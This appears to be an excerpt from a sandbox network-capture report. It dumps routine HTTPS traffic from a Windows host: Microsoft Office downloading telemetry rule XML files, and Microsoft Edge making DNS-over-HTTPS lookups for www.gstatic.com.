2024-11-23 01:55:36 UTC	1390	IN	Data Raw: 46 69 27 57 e6 ee 9e df fa e6 7c 6c 22 ff dc fc cd 83 bf 84 75 53 df fb 95 fb e0 a6 5b e2 f7 c1 5f 87 cb 78 0d a9 ac a4 0c 68 8e 44 f1 68 52 0e 42 cf 48 31 70 61 e4 4c d1 69 c5 a7 46 2f 04 a6 71 7a 9a be 86 7e 9a df 4a 91 d1 b6 e2 f0 34 96 a4 11 21 a4 4d e9 67 b4 5d b3 aa 52 cd 51 3d 41 bb 66 f2 ab fd 2b c2 fc 18 cf 78 47 7c 50 e9 5f 0e f0 9b c4 43 6a 2a f2 42 35 42 84 04 d7 70 02 ab 0d b5 b1 89 32 98 e2 55 e6 4f d6 3f 1c 81 d7 4f df 01 50 4b 07 08 80 81 20 9b 32 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 6b 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 Data Ascii: Fi'W\|l"uS[_xhDhRBH1paLiF/qz~J4!Mg]RQ=Af+xG\|P_CjB5Bp2UO?OPK 2PK!-_locales/sk/messages.jsonUT6g Ad/

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.6	49820	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:35 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:36 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 76e95f1f-101e-0034-7059-3b96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015536Z-178bfbc474bv587zhC1NYCny5w00000003k000000000rhct x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:36 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.6	49821	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:35 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:36 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 008bef3b-f01e-001f-677c-3b5dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015536Z-174c587ffdf7t49mhC1TEB4qbg000000024000000000gxng x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:36 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.6	49822	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:36 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:36 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: af6ae163-c01e-0082-6735-3caf72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015536Z-178bfbc474bh5zbqhC1NYCkdug00000003sg000000007rys x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:36 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.6	49833	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:37 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:37 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: f47ed088-401e-0029-7f4d-3c9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015537Z-15b8b599d88qw29phC1TEB5zag00000002ag000000003dbh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:37 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.6	49828	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:37 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:37 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: c4abe473-d01e-008e-4d67-3b387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015537Z-178bfbc474btvfdfhC1NYCa2en00000003w000000000br40 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:37 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.6	49843	172.64.41.3	443	9136	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:37 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-23 01:55:37 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-23 01:55:37 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 23 Nov 2024 01:55:37 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e6d89bf29b34289-EWR alt-svc: h3=":443"; ma=86400
2024-11-23 01:55:37 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 1d 00 04 8e fa 50 43 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomPC)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.6	49848	162.159.61.3	443	9136	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:37 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-23 01:55:37 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-23 01:55:37 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 23 Nov 2024 01:55:37 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e6d89bf39dd0f8f-EWR alt-svc: h3=":443"; ma=86400
2024-11-23 01:55:37 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 09 00 04 8e fa 41 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.6	49838	172.64.41.3	443	9136	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:37 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-23 01:55:37 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-23 01:55:37 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 23 Nov 2024 01:55:37 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e6d89bf3ff1c46d-EWR alt-svc: h3=":443"; ma=86400
2024-11-23 01:55:37 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 19 00 04 8e fb 28 83 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.6	49849	162.159.61.3	443	9136	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:37 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-23 01:55:37 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-23 01:55:38 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 23 Nov 2024 01:55:37 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e6d89c1ab564301-EWR alt-svc: h3=":443"; ma=86400
2024-11-23 01:55:38 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 58 00 04 8e fb 20 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomX c)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.6	49852	172.64.41.3	443	9136	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:37 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-23 01:55:37 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-23 01:55:38 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 23 Nov 2024 01:55:37 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e6d89c1fa6a4216-EWR alt-svc: h3=":443"; ma=86400
2024-11-23 01:55:38 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 ca 00 04 8e fb 28 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.6	49851	172.64.41.3	443	9136	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:37 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-23 01:55:37 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.6	49859	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:38 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:38 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 79a9dcb6-201e-003c-1c7b-3b30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015538Z-174c587ffdf8fcgwhC1TEBnn7000000002bg00000000kdd1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:38 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data 